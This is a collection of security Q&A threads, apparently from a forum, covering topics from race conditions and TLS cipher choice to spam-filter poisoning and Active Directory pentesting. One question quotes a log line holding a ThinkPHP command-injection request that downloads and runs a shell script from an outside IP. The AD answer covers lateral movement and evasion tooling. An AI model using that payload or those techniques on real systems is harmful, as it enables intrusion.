How does Server-side Handle the same multiple requests at the same time? According this YouTube video:
https://www.youtube.com/watch?v=oIkhgagvrjI&feature=youtu.be&t=7m19s
YouTube Videos views are frozen at 300 until they're verified, sometimes at 301 or even up to 310 due to multiple same requests at the same time.
in that case it is not a big problem but let's assume the following  scenario
where bob has an account with a $10 balance and he's making 2 withdrawal requests at 23:20:00:999ms

Question:
How does a server side programming language handle this type of request?
can two requests access a variable or any sort of data and change its value at the same time?
is the first arrived request to be handled first and then the second waits for its turn?

Question:
could it happen only by chance or 100% of the time?
Question:
What type of vulnerability is this? does it have a specific definition?

The way that a programming language runtime ensures that concurrent requests that target the same state don't interfere with one another is ultimately through a mechanism called "compare-and-set" which has to be offered by the hardware on which the code is running.

"Compare and set" works as follows- two threads say to the hardware- "compare the value of variable X to 300, then if equal, set X to 301"- and the hardware will ensure that only one of those instructions is executed at a time. The first will return a new result for variable X, the second will not.

That said, there is much, much more to the story. The compare-and-set mechanism is offered by CPUs in the context of data in registers. That data still has to make it into RAM and thence durably stored on a disk. There are an infinite number of ways in which builders of a system may fail to orchestrate all the moving parts required for this machinery to complete successfully, leading to the accounting going wrong.
Nothing happens by chance, but there are many classes of design, implementation and operational flaws that can cause concurrent systems to behave with less than desired consistency.
There is no single name for vulnerabilities of this kind, and not even a single name for the subfield of computer science in which work relevant to this kind of problem occurs. Concurrency, distributed systems, consistency models, transaction isolation- googling any of those terms will yield rich veins to study to learn more.

In the context of the two cited examples- YouTube video view counts, and bank transactions- what's important to understand is that these two problems have different requirements.

It doesn't matter so much if YouTube freezes views at 300 or 310 or even 500 or some other magic number. The limit is arbitrary and was chosen by google to optimize their workflow. Slight miscounts have no economic or other impact.

Miscounts in bank transactions, on the other hand, of course have a direct economic impact.

It's also important to understand that the work required of programmers and distributed system engineers to get the accounting exactly right is significantly different and much more difficult than to get the accounting approximately right.

In sum, these two problems have different requirements, and have different solutions.

The lack of consistency in the solution behind YouTube view counting is a reflection of requirements, not an implication that other solutions at Google or in any other accounting context, behave the same way.


How to prevent users from executing commands through browser URL? I have very little experience with security (still learning) however was combing through my logs and I noticed the following request:

"GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=wget%20http://86.105.49.215/a.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a; HTTP/1.1" 200 16684 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"

Now first of all this made no sense to me with the exception of chmod 777 which tells me someone was trying to change my file permissions.

My question is what kind of attack is this and what steps can I take to prevent it?

It's a command injection attack in which :

  the goal is execution of arbitrary commands on the host
  operating system via a vulnerable application. Command injection
  attacks are possible when an application passes unsafe user supplied
  data (forms, cookies, HTTP headers etc.) to a system shell. In this
  attack, the attacker-supplied operating system commands are usually
  executed with the privileges of the vulnerable application. Command
  injection attacks are possible largely due to insufficient input
  validation.

There are many strategies to mitigate or to avoid this kind of attacks like:

Do not “exec” out to the Operating System if it can be avoided.
Validate untrusted inputs.(Character set,Minimum and maximum length,Match to a Regular Expression Pattern...)
Neutralize meta-characters that have meaning in the target OS command-line.
Implement “Least Privilege”

You can find somes here and have a look at this cheatsheet from OWASP for further details.


Practical benefit of using SqlCredential vs username/password in connection string Currently I'm using SQL Server Authentication with the username/password as part of the connection string for my web application. As far as I know this standard procedure within the .NET world and possibly beyond. However, I was perusing the docs for the SqlConnection.ConnectionString property due to an unrelated matter and noticed they say:

  SqlCredential is a more secure way to specify credentials for a connection that uses SQL Server Authentication.

I assume that most of this security is due to the use of SecureString to store the password. This class comes with its own set of problems when used in the context of a web application because it implements IDisposable. That means I have to do one of three bad options:

Purposefully not dispose of the SecureString leaving it a static global variable which reads the password from the config file once.
Accept the performance hit of reading the password from the config file every request.
Bypass the benefits of SecureString by keeping the password around as a string so I can dispose of the SecureString regularly without incurring the penalty of reading from the config file every request.

Given those problems and the fact that if someone has access to the server you're hosed anyway. Plus it appears as if the benefits of encrypting the connection string basically boil down to reducing the risk of accidentally leaking details to people who shouldn't have them:

  By keeping the connection details out of source control, and out of general distribution, you reduce the possibility of loss or leakage. ... Due to this if encryption is in use, separating the key from the connectionstring and separating the connectionstring from the source is an essential action. Doing this has separated the duties and protection of the encryption keys (or configuration files) becomes a system administrator function, rather than a developer function.

However, it seems to me the most efficiently way to reduce that risk is by restricting access to the server and the connection string to only those who need to know via the automated build/release pipeline1, and securing your server is obviously the first and most important step to protecting the connection string. It seems to me that there is probably a minor theoretical benefit to using the SqlCredential class in a web application2, but there isn't a real practical benefit over having the username/password in the connection string.

That being said there is probably some fundamental flaw in my reasoning because the folks at Microsoft are a smart group. So what am I missing?

1: Transforming/adding the value automatically in the build/release pipeline.

2: I'm using an Azure Cloud Service and connecting to an Azure SQL Database, with most of the application layer logic written in C# if it matters.

I'm not a .net developer, but Java is very similar.  I believe the use-case of SecureString, and SQLCredential is for any password that isn't long lived.  i.e. you log into a remote SQL Server briefly, and then drop the connection and go on with anything else the app has to do.  Using SecureString would appear to remove this briefly used password from memory ASAP rather than wait for it to be removed at a (possibly much later) time.

From your description your application uses a persistent database connection, and likely a database connection pool.  So you need the username/password to be in memory all the time.  There's little or no benefit to removing the password from memory since it'll be loaded into memory again very shortly, and ultimately is stored in some config file anyway.

As far as questioning your own thinking, it's good to do this, but don't give experts ultimate authority.  They can't know your specific situation.  I'd advise caution when reading generalized advise.  It may or may not apply to you.  In this case, Microsoft has to give a broad based answer that applies to everyone, in a wide range of uses.  Microsoft has to advise anyone developing .net apps on the desktop as well, which could include a user simply typing in a password.  Desktops have an entirely different threat model than servers do.  For a desktop user who entered in a password once in the morning and dropped the connection, it would be "bad" if that password lived on for hours afterward, and the machine was then compromised by some completely unrelated security hole.

In other words, it's a "best practice" to just tell everyone to use SQLCredential rather than try to explain everyone threat models, etc.  Most people aren't going to go to the depths of understanding you're looking at.


Is it safe to mount luks over cifs? I have a server with a .img file this is encrypted with luks(aes-256,plain64,xts,sha512) Is it safe to mount this image over cifs(samba), or does doing so risk exposing the volume password or master key?

Serving a LUKS volume over CIFS (or any other network filesystem, for that matter) will not leak any security information.  The Linux storage system works in layers, with each layer only knowing what it needs for its job.

In your situation, the LUKS layer knows the volume master key, and uses it to make the volume's contents available as a block device.  The appropriate filesystem driver makes the files on the block device available as part of your system's directory hierarchy, without needing to know anything about encryption.  Finally, the CIFS server makes part of your directory hierarchy available over the network, without needing to know anything about on-disk filesystems or encryption.


Does turning off output make aircrack-ng work faster? I know that preventing output on the console or in anyway makes the program run much faster. Displaying the output is a long process to complete.

But I wonder if using -q option in aircrack-ng, which basically skips the output, would make a significant difference? I'm doubtful because aircrack-ng doesn't display Master Key, Transient Key and EAPOL HMAC for all the keys in the dictionary.

I tried aircrack-ng on a dictionary with 2,000,000 keys and none of these keys is the correct password. So aircrack-ng had to go through all of those 2,000,000 passwords. Handshake was WPA encrypted, aircrack version was "Aircrack-ng 1.2 rc4". I ran this test on a Core i5 4th Gen machine with 4 gigs DDR3 ram and here's the result:

Normal Mode (With Output)   : 1281.495 seconds
Quiet Mode (Without Output) : 1264.578 seconds

The time noted is not the system/CPU time of the process but instead it's wall clock time (i.e. all the elapsed time including time slices used by other processes).

So yes, preventing the output does make a difference but it's not as much as I expected. Maybe it's because aircrack-ng doesn't create output for all the keys tested.


user data accessible through javascript in browser There are websites which display user information, such as browser version and operating system

This website goes even further, and displays some additional information, such as desktop resolution, and also any secondary network interfaces. In my case, it detected my eth1 network interface 192.168.0.6

I have noticed that this information is only available when javascript is enabled. I am wondering therefore, what else is accessible through javascript. In particular, if javascript can access files in users home.

This is a moving target, as there is a cat-and-mouse game as attackers discover new techniques and browsers implement new defences. In general, JavaScript:

can access config information about your browser and plugins. The site you linked seems to be a good summary of the current techniques.
cannot access your local files, at least, unless you explicitly drag and drop a file (or use a file upload field). Nor can it access your address book.
can only access cookies (and HTML 5 local storage) from its own domain, not others.
can sometimes see your web history, using CSS history sniffing. This leak is largely fixed in newer browsers, but some subtle issues remain.
can load resources (e.g. images) from other sites. It can't access the content (unless it's an explicitly allowed cross-domain request).
cannot access JSON data from other sites. This used to be possible using JSON Hijacking but modern browsers have fixed this.
can tell how long a resource takes to load. This can be abused to tell if a user is logged in to a particular site, and even if they have any messages that match a particular search string.
can exploit vulnerabilities (e.g. cross-site scripting, cross-site request forgeries) on other web sites, and against the web browser itself.
can perform computations for the site owner, using the client's computer e.g. BitCoin mining.

An interesting related question is what can content like Java, Flash and PDF do? My knowledge runs out here, but I do know that a PDF file can print a document with no user interaction. Quite surprising - a fully patched 2014 browser allows an untrusted website to automatically print!

If you want to know the full story, read The Browser Security Handbook.


Picking cipher suites for HTTPS I'm trying to work out the best approach to choosing which cipher suites to provide, and what the issues might be.

It's my understanding that during the SSL handshake, the client will (normally) choose the most secure algorithms which are supported by both ends. But what are the implications of making low strength algorithms available? The negotiation surely cannot be encrypted, therefore could a MITM force a connection to the weakest common cipher suite?

The client suggests but the server chooses. The client sends a list of the cipher suites that it supports (and is willing to use). This list is supposed to be ordered by preference. The server responds by choosing one cipher suite in this list. Well-behaved servers try to follow the preferences of clients, but that's not really mandatory. Ultimately, the server chooses.

At the end of the handshake, Finished messages are sent, which are encrypted and MACed with the negotiated secrets. The contents of these messages are hash values computed over the complete handshake messages, including the list of cipher suites supported by the client. This means that a MitM cannot alter that list without being caught at some point.

(However, this is not entirely true in the presence of TLS FalseStart: the client could be convinced to send his request with the weakest cipher suite that it supports. But the real weakness here would be that the client is then willing to support a weak cipher suite, not that a MitM attacker has some level of control in the choice of the cipher suite. Even with FalseStart, the external alteration by the attacker will be detected by the server and the request will not be honoured, let alone responded to.)

(SSLv2 did not include the list of cipher suites in its Finished messages and it has been much touted as one of the "big flaws" of SSLv2.)


What local ethernet-accessible resources can be accessed on a PC through a USB cable? Clarification: this is about scanning the network resources on computer B from computer A in a situation where:

Computer A is connected to Computer B through a USB cable
Computer A has some scanning software installed on it

This is about the feasibility of a USB-device that can scan the computer (that it is plugged into) for open Ethernet-accessible resources such as ports/shares/etc.

Presumably a USB device can include a DLL (well, or tell the OS to download a DLL) that can provide it access to the ports and shares.

But are these TCP/IP resources available to the scanning computer through USB without any special DLLs installed on the target computer?

Is it actually possible to enumerate the ports/shares/etc on a target PC simply by connecting to it through a USB cable?

As far as I know there is no direct USB connectivity possible between two normal computers that is also usable at the same time as a network (which is what you need to scan). I don't even think that you can simply connect two PCs using a simple USB cable, since PC usually only support the USB host mode and with USB one device needs to be in host mode and the other in device mode. And to support USB device mode on a PC you not only need special software but also the hardware explicitly must support it.


Is Firefox on Ubuntu less secured (does it not confine Flash)? Ubuntu Linux makes it easy to install Flash as soon as you encounter it.  Just like Firefox on Windows really!  Using Ubuntu's package it even provides security updates through the standard OS method[1].

But is Flash confined on Ubuntu, i.e. using AppArmor?

Because if Ubuntu doesn't provide any confinement, it's less protected than on Windows :(.

[1] Instead of Adobe code that tricks you into installing Chrome or Google toolbar or something, deterring you from installing necessary security updates.

Note this is specific to Ubuntu.  Debian don't provide an automatic updater, <facepalm>.  OTOH Debian doesn't make it as easy to install in the first place.

Usually Flash exploits need to be specifically targeted at an OS (Linux v.s. Windows v.s. whatever).  An attacker can choose to shove as many into one exploit, which would likely cause suspicion if my exploit crashes while exploiting, or make something reliable, I can use and re-use. This means the law of averages: "How many people use Windows, and how many use Linux. Where would my exploit yield better results?" If I am not specifically targeting you per-se.

Flash is usually used to deliver another payload. Whether or not the payload is specifically aimed at Windows, is what is relevant. Most Flash based exploits on their own (non payload deliverable) still need to be specifically targeted at you. Let's look at an advisory:

CVE-2014-8441

  Adobe Flash Player before 13.0.0.252 and 14.x and 15.x before
  15.0.0.223 on Windows and OS X and before 11.2.202.418 on Linux, Adobe AIR before 15.0.0.356, Adobe AIR SDK before 15.0.0.356, and Adobe AIR
  SDK & Compiler before 15.0.0.356 allow attackers to execute arbitrary
  code or cause a denial of service (memory corruption) via unspecified
  vectors, a different vulnerability than CVE-2014-0576, CVE-2014-0581,
  and CVE-2014-8440.

If I as an attacker tried to make an exploit to send to you, there are multiple ways to get it to you. But here are the hurdles I would face trying to exploit you.

Step 1) create shellcode to do the harm I need to do
Step 2) obfuscate this shellcode so it is not detected by AV

Before I even do this, I have an altogether different choice... Pick my target to exploit: Will I focus on Linux, or Windows?!? Because each is a different operating system, my payloads will differ.

IOW you're confusing how attackers use Flash to exploit an operating system. Flash is usually nothing more than a vehicle to deliver something more malicious.

ANALOGY

Imagine if you can a country named Chickenphobia where everyone is allergic to chickens. If anyone comes in contact with a chicken, they will become sick. Now imagine a bus, airplane, boat or truck delivering Chickens (with the intentions of making people in Chickenphobia sick) to the wrong town. The vehicles (bus, truck, boat, train, plain) are Flash. It is nothing more than a delivery mechanism.

-- END OF ANALOGY


Is it possible that a Peer AS over BGP can sniff other AS traffic? Is it possible that one AS can sniff another peer's traffic?

Your question is a bit broad since you're not very explicit in which traffic you're talking about and what exactly the relationship between those two network is.

If two networks (ASNs) have a peering relationship and exchange routes, the result is that traffic is routed between those networks. Of course, network traffic from peer A which is routed to peer B can be sniffed by peer B (and vice versa), since it passes their network equipment.

Traffic exchanged between peer A and another peer C cannot be sniffed by peer B.


Is `tls_preempt_cipherlist = yes` in postfix a good idea nowadays? Postfix' own documentation says it may cause issues, but only mentions "Windows 2003 Microsoft Exchange clients". Everything else I've found (first was CheckTLS, as far as I've been able to find, that's why it says "Has server cipher order?     nope (NOT ok)") seems to think it should  be there.

Is postfix' documentation just outdated (or badly worded) on this point?

The documentation of Postfix is very specific in that the problem occurs if a client offers ciphers which the client does not implement properly. To cite from the documentation:

  ... some SSL clients have listed lower priority ciphers that they did not implement correctly. If the server chooses a cipher that the client prefers less, it may select a cipher whose client implementation is flawed.

In other words: problems occur with this setting if the client a) has broken ciphers in the first place and b) offers these ciphers even though they are broken and c) relies on the server not to pick the broken ciphers the client offers.

"Windows 2003 Microsoft Exchange clients" where only provided as a known example of such broken implementation which does not mean that their are no other broken implementations. Contrary to HTTPS (where it is not uncommon that servers prefer there own cipher order) there is a large variety in mail clients (including MTA trying to forward mail to the next hop) and the chance to communicate with some broken implementation is therefore usually higher. This does not mean though that setting tls_preempt_cipher_list=no will work around these problems in all cases. But it might increase the chance a bit that client and server will actually agree on a cipher which is properly implemented in the client.

Apart from that it should actually not really matter if the server picks the cipher based on the clients or the servers preference. What matters though is that the server has only ciphers configured which are considered secure. In this case it does not matter if the client offers insecure ciphers since the server will not pick these as common ciphers, no matter if the cipher preference is taken from client or server.


How YubiKey Challenge-Response works "locally"? I have got a YubiKey NEO recently (and a bit disappointed that you can only have two activated second factor authentication methods out of all the listed).

In password managers those support YubiKey, Password Safe is open-source and works locally. It can be configured to authenticate using YubiKey HMAC-SHA1 Challenge-Response. I am confused how it is possible to make a secure challenge-response mechanism securely with just two parties: (1) my local PC, and (2) YubiKey. (Related documentation)

In fact, what is the advantage of sending Master Password to YubiKey, get the response and decrypt database using it? Now, YubiKey response is our static password, which is available in the memory and all the places Master Password can be leaked.

They have implemented it for fun? or I am missing some points?

The source code of password Safe is open source so you're free to do what I did: check.

A HMAC takes two inputs: the key and the data. What PS does wirth the ubikey is take your input as data and send it to the UbiKey. The key is in the UbiKey itself ans stays there.

So, the sequence of event is the following:

You enter your passphrase.
The software sends that passphrase to the ubikey
The UbiKey performs a HMAC using your passphrase as input and the (internally stored) secret key.
The resulting value is sent back to the application and is used for unlocking your database.

So the system is still safe as long as the various crypto elements are safe: the database REAL passphrase is the result of the HMAC operation, the HMAC is made of the secret key, which stays on your 2FA device and your own master password, which you enter through your computer.


Can a honeypot really deflect damage back to the attacker? The honeypot wikipedia article states:

  ...a honeypot is a computer security mechanism set to detect, deflect, or, in some manner, counteract attempts at unauthorized use of information systems.

Deflect for me implies that the attack is at least party send back to the attacker thus relieving the honey pot of this damage. But as far as I know honeypots are only used to gather information passively.

Is this a language problem, is Wikipedia wrong or am I missing something?

Borrowing from the other answers & comments coz I agree with them:

Deflect = Not-the-same-as reflect back to the attacker.

The common practice that comes to mind in this context is this:

Your assets can be protected using deflection to a honeypot.

  ...the armor is between the targets body and the bullet and the bullet
  has to go through the armor.

I can't think of many situations where a honeypot sits in between the attacker and the assets under protection. That is usually the role of a firewall (network firewall or a web application firewall of some sort).

Honeypots in practice - how they protect by distracting.

It can be a low interaction honeypot (the most common case because it is easier to setup and maintain) that is placed in such a manner that deflects the attention of the attacker by appearing to be easy to hack and sets up protection for main assets.
e.g., To protect x.yourasset.com, you could setup x-be.yourasset.com and x-private.yourasset.com as honeypots where no legit customer should normally connect to. When someone connects to them, you use some form of scripted automation that bans them from reaching *.yourasset.com. Here the ban-trigger is simply connecting to the honeypot. No deep interaction is needed.

An intermediate interaction honeypot (again fairly common) would allow an attacker to connect and give them an infinite-looped path e.g, allow SSH connect with a non-existent account and password; then present a fictional file system with never ending directories to traverse. This wastes attacker time and may or may not directly help your asset-security unless you also use this with some form of banning.

In both the above cases, the honeypot is not "placed in front of" the asset.

Another possibility is to use high interaction honeypots (uncommon). This takes some effort to setup and manage. Here, you let the user interact with your main asset, but if you see anything unusual at all, switch the session to the honeypot.
e.g. Your web-form could have legitimate sounding hidden fields (e.g., spl-discount, secret-auth) that normal flow would never populate. On your server you first check those fields and if they're populated you send a redirect to a honeypot. You could also do this using something like the OWASP AppSensor project.

that looks like a normal successful submission - "thank you... processing..."
that takes several seconds for each screen update and wastes more time - "thank you for your patience..."
that could keep asking for more info - "we only need some more information before we complete processing" "we sent you an additional security code to your email address ... please enter it to verify your account for additional security" (of course you may not have sent any code at all)
and finally blows it off with something like "we're sorry, please try again later".

This may or may not be combined with banning but it helps in many ways, including data collection about the attacker and their TTPs (Tools, Techniques and Procedures) - that will come handy in other defensive measures.


Public key authentication: what gets signed? I've just started reading about SSH and how it's used for authentication. From this website, it says:

The private key is able to generate signatures. A signature created using your private key cannot be forged by anybody who does not have that key; but anybody who has your public key can verify that a particular signature is genuine.
So you generate a key pair on your own computer, and you copy the public key to the server. Then, when the server asks you to prove who you are, PuTTY can generate a signature using your private key. The server can verify that signature (since it has your public key) and allow you to log in. Now if the server is hacked or spoofed, the attacker does not gain your private key or password; they only gain one signature. And signatures cannot be re-used, so they have gained nothing.

My question is what kind of message is used in real life, along with your private key, to generate the digital signature? And once the server applies its public key to generate the original message, how does it know whether that message is correct? Is the message publicly available?
Or when you try to connect, does the server send out a one-time-use message for you to create the digital signature from using your private key?

Consulting RFC 4252 on the SSH authentication protocol, we find in section 7 (on pages 8 and 9):

To perform actual authentication, the client MAY then send a signature generated using the private key... The signature is sent using the following packet:
 byte      SSH_MSG_USERAUTH_REQUEST
 string    user name
 string    service name
 string    "publickey"
 boolean   TRUE
 string    public key algorithm name
 string    public key to be used for authentication
 string    signature

That much you knew already, more or less, but we haven't actually found out what the final string field signature contains. The section immediately following actually answers your question:

The value of 'signature' is a signature by the corresponding private key over the following data, in the following order:
 string    session identifier
 byte      SSH_MSG_USERAUTH_REQUEST
 string    user name
 string    service name
 string    "publickey"
 boolean   TRUE
 string    public key algorithm name
 string    public key to be used for authentication

By consulting sections 1, 5, and 6, we can understand the meaning of these values:

the session identifier (a per-connection value obtained prior to the client authentication protocol),

the username used by the client,

the name of the service being requested (here, "ssh-userauth"),

the client's public key, and

some static values ("publickey", TRUE, SSH_MSG_USERAUTH_REQUEST (which is the value 50)).


How does Bayesian poisoning work? This answer mentions Bayesian poisoning in passing and I've read the wikipedia page but don't feel I've fully grasped it.

The first case, where a spammer sends a spam with a payload (link, malicious file, etc) and includes lots of non-spammy "safe" words seems obvious enough. The aim is to bring up the rating of that individual email so that spam filters might class it as "not spam".

The second case is more subtle and (to me) confusing:

  Spammers also hope to cause the spam filter to have a higher false positive rate by turning previously innocent words into spammy words in the Bayesian database (statistical type I errors) because a user who trains their spam filter on a poisoned message will be indicating to the filter that the words added by the spammer are a good indication of spam.

How does this help the spammer? Sure, false-positives (if I've understood correctly that this means legitimate emails wrongly classed as spam) are annoying, but they would have the be very common to disable spam filters entirely. It doesn't seem like this would change the rating of real spammy words, or does it just affect their relative rating?

Finally, does this, or any other, approach help an individual spammer with a particular few spam words they'd like to sneak through the filters, or would it potentially help all spammers?

Could someone provide or link to an example-based explanation?

There's a good paper published named Bachelor thesis:The Effects of Different Bayesian Poison Methods on the Quality of the Bayesian Spam Filter ‘SpamBayes’ by Martijn Sprengers.

I'll try to make TL;DR:

Bayesian spamfilters try to decide if an email is spam or not by looking at keywords in an email. What it  does is review the words present in normal and spam email and update the scores for each word. These scores are used to deduce if an email is spam or not by making a score based on the overal score of words present in the email.

Words are re-scored, meaning that if "Viagra" appears in several normal emails, it will get a lower score over time. This is abused by spammers by generating  email with several low scoring words, commonly found in legitimate emails and adding a single bad word. Because the score of the email will overall be considered good "Viagra" will get a lower score over time making it a legitimate word, and causing spam email to pass through spam filters.

There are three attacks the paper discusses:

  Random Words: This attack method is based on the research by Gregory et
  al. [6]. It can be seen as a weak statistical attack, because it uses
  purely randomized data to add to the spam e-mails.

  Common Words: This attack method is based on the research by Stern et al. [7]. They added common English words to spam e-mails in order
  to confuse the spam filter. This attack can be seen as stronger
  statistical attack than the Random Words method, because the data used
  is less random and it contains words that are more likely to be in
  e-mails than the words added with the previous attack.

  Ham Phrases: This attack is developed in this research and tested against the other two. It is based on a huge collection of ham
  e-mails. From that collection, only the ham e-mails with the lowest
  combined probability are used as poison. The ham e-mail is then added
  at the end of the original spam e-mail. Most people read downwards, so
  the effectiveness of the message is maintained. This is also a strong
  statistical attack, maybe even stronger than the Common Words attack,
  because the words are even less randomized.

Highlights from the paper's conclusion:

  From a spammer’s point of view, the ‘HamPhrases’ technique seems to work best.  It does decrease the performance of the spam filter. … The ‘Random’ and ‘Common Words’ techniques seem to score worse from a spammers point of view. … When we train the spam filter on those poison methods, the performance gets even better than normal. …

  However, the HamPhrases method used in this research is a little bit cheating. This is because both ham and spam e-mails that the spam filter uses for testing and training are available for the algorithm. Real spammers do not have the ham e-mails of real users.


Why are MD5 collisions dangerous? I understand that the MD5 algorithm isn't collision resistant, and that collisions between data of arbitrary size can be found with more efficient methods than brute-forcing.

However, I have read that MD5 is still a safe algorithm for, say, password hashing, because no method has been found to reverse-engineer the hashing algorithm.

In what cases could a hacker exploit a webpage or other secure client which was using MD5 for security?

If they were to break in to the system and download the hashed password file, they could, with difficulty, find passwords that would work.

While nobody has been able to turn the output of the MD5 hash into the original text. The bad news is MD5 does not take very much CPU time.

“Wait, is that bad news?”  Actually, it is.  When calculating hash values, you want to take more CPU time, rather than less.  The faster the bad guys can test millions and billions of passwords, the quicker they can arrive at the one you are trying to keep secret.

I ran a test of five million nine character passwords and got the following results on my machine (using openssl, results in milliseconds):

MD5   : 2449
SHA1  : 2620
SHA256: 3884

If they want to test about 5 billion passwords, which would cover almost all the possible six character passwords, the CPU time would range from about 28 days for MD5 to 44 days for SHA256.  This is with a single thread on a not very fast computer.  If they invested a few hundred dollars for half a dozen graphics cards, this could be done in hours.

It is common for the hashing process to calculate the hash multiple times.  We would calculate the hash of the password "abc123" and get “8be8efb0bfa…” If we then calculate the hash of the hash, we will get “98dead38ed2…”.  You can see that if we do this ten or 100 times, we will hardly notice the difference in the time but the bad guys will have to take not hours but days or months.

Don’t forget, you only need to find a string that hashes to the value stored in the password table, not necessarily the original value.  Any collision will do.  There are ways of attacking the hash itself to find collisions that may be simpler that this brute force attack.  For what it is worth, I doubt there are very many pairs of printable character strings that hash to the same value.

I am not sure this exactly answers your question but it seems relevant.


Is it okay if apps in pre-production environment can be accessed without VPN? The "for customer" web applications of a company are deployed in their pre-prod environments. The apps in these environments can be accessed without any VPN. All you need is the public url. I doubt if the code and databases can be accessed without VPN.

Are there any security concerns in this setup and is this a common practice in companies ?

It is not common practice. its generally not advised because developers dont usually code the application to behave exactly the same way in a test environment. Sometimes the js isnt minified, sometimes there are controllers that have debug urls,that could give somebody insight into how the application behaves behind the scenes.
Ultimately it comes down to what information is available in that environment, and of what use would it be to somebody attacking the production application.
This is assuming of course that you have no real data in the application.


Is filtering flash based on the mimetype enough to keep it out? As flash is a real security mess I started blacklisting flash at our proxy by blocking any content with the mime type application/x-shockwave-flash which works pretty well as far as I can tell. The proxy does SSL interception so it covers both http and https and I don't allow any other protocol to get out so loading flash from a ftp server for example isn't possible too.

But I'm asking myself if this is enough because a malicious webserver could simply fake a mime type and then send flash to the browser anyway? Would this work or is flash bound to some limitations to prevent such behavior?

Filtering flash on MIME type is a security enhancer, but not one without holes.

With an SSL-privy proxy, you can ensure against a man in the middle attack, but (as you suspected) not against Flash documents served from legitimate servers with illegitimate MIME types in their headers.

I wouldn't want to trust that video/x-flv, image/vnd.rn-realflash, and application/x-shockwave-flash are the only MIME types that invoke Flash on all HTTP clients.

If you have control of all the clients on the network, the comment about disabling flash might work, which may be difficult if you have users that depend on a variety of operating systems and browsers to do their jobs.

One possible solution is to set up the proxy (if regular expressions are available) to block any MIME type matching /(flash|shock|flv), which will be more secure and somewhat unlikely to block MIME types you want to permit.


Active Directory Pentesting Methodologies I would like to ask about steps and methodologies for Active Directory pentesting. I used tools like responder, powerview, pingcastle and mimikatz, but maybe there are other methods that are useful.

In most scenarios, Windows Server Forest targets, are hardened quite well, but usually because of the existence of an EDR and/or NIPS that prevents initial entry access.

The whole concept of Active Directory testing, as you say it, is to expand access * after * that initial entry point, or foothold, is proven.

The book, Mastering Kali Linux for Advanced Penetration Testing, 3rd Edition, is one great resource on what you ask for -- hone into its chapter called Action on the Objective and Lateral Movement.

The Hacker Playbook 3: Practical Guide to Penetration Testing, Red Team Edition -- is also a great resource for some baseline techniques along with demonstrations on how or where to evolve them.

You'll find that any-given cybersecurity conference has a few training courses that specifically teach Active Directory testing or some variation (or even a subset, e.g., there was even a class just on mimikatz and nothing else). A lot of these courses have their own methodology, but the methods are always the same: gain access, keep access, and expand access.

In order to gain access, you'll require a carefully-planned Pre-ATT&CK scenario with a series (or chain) of tactics, each backed up by one or more underlying techniques. Since I'm sure this is not what you're asking about, I'll move on.

In order to maintain access, you will need that Pre-ATT&CK scenario to stand the test of time, and if it uses reverse-https/etc payloads that connect to your remote handlers, then all of that will need not to stand out. Of course some scenarios could position C2 inside the network, over say, ARP daemons, or MS-RPC Named Pipes, or any sort of covert channel. However, others just hide in plain sight, such as Domain Fronting or BC-SECURITY's Empire fork, where evasions such as ones for JA3/S (a popular detector in 2019), are available.

A lot of times this involves finding computers (i.e., AD Computer Objects) that are not in Sites (an AD concept) because they also may lack a full EDR stack or have other exceptions. The IT and Cybersecurity staff don't seem to know the computer is there and that AV or basics aren't installed or properly-working. Look for overlaps in Windows Server Domains and Forests as well. You have to explore or know the target environment(s).

The book, Advanced Infrastructure Penetration Testing, has an entire chapter dedicated to Active Directory Exploitation. The section on SPN Scanning is unique in that it simplifies much internal AD recon with one PowerShell command: setspn -Q */*. You might not get this data in this exact way (because it might set off a detection right away -- or even much later it could be discovered during a hunting op), but you are going to need to know how to parse and understand it. SPN data is an Active Directory targeting goldmine.

Low-hanging fruit in an Active Directory are usually the SharePoint accounts even when you're not targeting the SharePoint sites (sometimes SharePoint has been replaced but the legacy accounts remain!). This is where techniques surrounding the BloodHound tool can come into focus.

Even better are lone or anomalous installs of IIS found via SPN or some other means. Any means of landing a payload to an IIS server could reveal apppools leading to hidden pivots via creds that are usually otherwise-undiscovered. A command to do this (as well as working with apppools in general) can be found in the book, Internet Information Services (IIS) 7.0 Administrator’s Pocket Consultant in the section on Working with Application Pools: [drive:]\windows\system32\inetsrv\appcmd list apppool <AppPoolName> /text:*

MS-SQL Server services are also found in SPN, and the services that are tied to them (e.g., SAP ECC) may also be visible. I recall PowerUpSQL and PowerSAP pentest tools, but there are hundreds of these projects when 2 years ago there were only ten or so. I think you're starting to understand that the reason there isn't a one-size fits all Active Directory pen test (or an easy-to follow flowchart) is because it's all dependent on the target environment(s).

Play around with the PowerShell modules specific to administration of each of these Microsoft Server Forest Services, like those apppools above, but often closer to the implementation. For example, Get-Webconfig and Get-ApplicationHost, but there are countless others. MS Exchange Server has a lot of these, be careful, though! It's also possible to look for the tools that come with these services, for example Exchange Admin Center has GUI tools but it also has a web portal (try IP addresses and the /ecp URI to find them).

There are also some point tools I could be missing and that are worth mention, such as Vibe. There are really lots of ways to skin this cat. An army of cybersecurity pros would never run out of ideas. Azure AD will change things but will probably open new doors. Just keep testing it and get the value that you want out of it.


How protected are files within a running encrypted VM on a possibly non secure hypervisor / host? I've got a set of source code files (compiled C#) that I want to prevent direct read access to. The program will be running on the VM. I was thinking of storing these in an encrypted hard disk VM, the VM would use these files in conjunction with a HTTP / TCP endpoint.

Some additional information:

The files that need to be protected are compiled C# 'IL' files (I think it's called bytecode).
The client will be running the VM within their own host/hypervisor environment.

The encryption would be disk encryption (relative to the VM) so taking the following from https://wiki.archlinux.org/index.php/Disk_encryption

  Disk encryption ensures that files are always stored on disk in an
  encrypted form. The files only become available to the operating
  system and applications in readable form while the system is running
  and unlocked by a trusted user. An unauthorized person looking at the
  disk contents directly, will only find garbled random-looking data
  instead of the actual files.

Would this mean a VM host would not actually be able to view the files?

I would also look to prevent any other means of access besides the HTTP / TCP endpoint (so I'd remove any login prompt etc, possibly  even remove the entire shell if that is possible).

I'm not too worried about the files appearing in 'memory', as I think it would be a difficult task to reverse engineer them back into files.

I can appreciate that this is not 100% secure, I'm just trying to make it as difficult as possible to access the source code (I'm already using source code obfuscation).

The main object here is to prevent read access / reverse engineering the source code of the application.

I suppose a summary of the above can be stated as: Is the above sufficient to make a 'secure' binary blob that is a VM image and it's only point of entry/interface would be a HTTP endpoint?

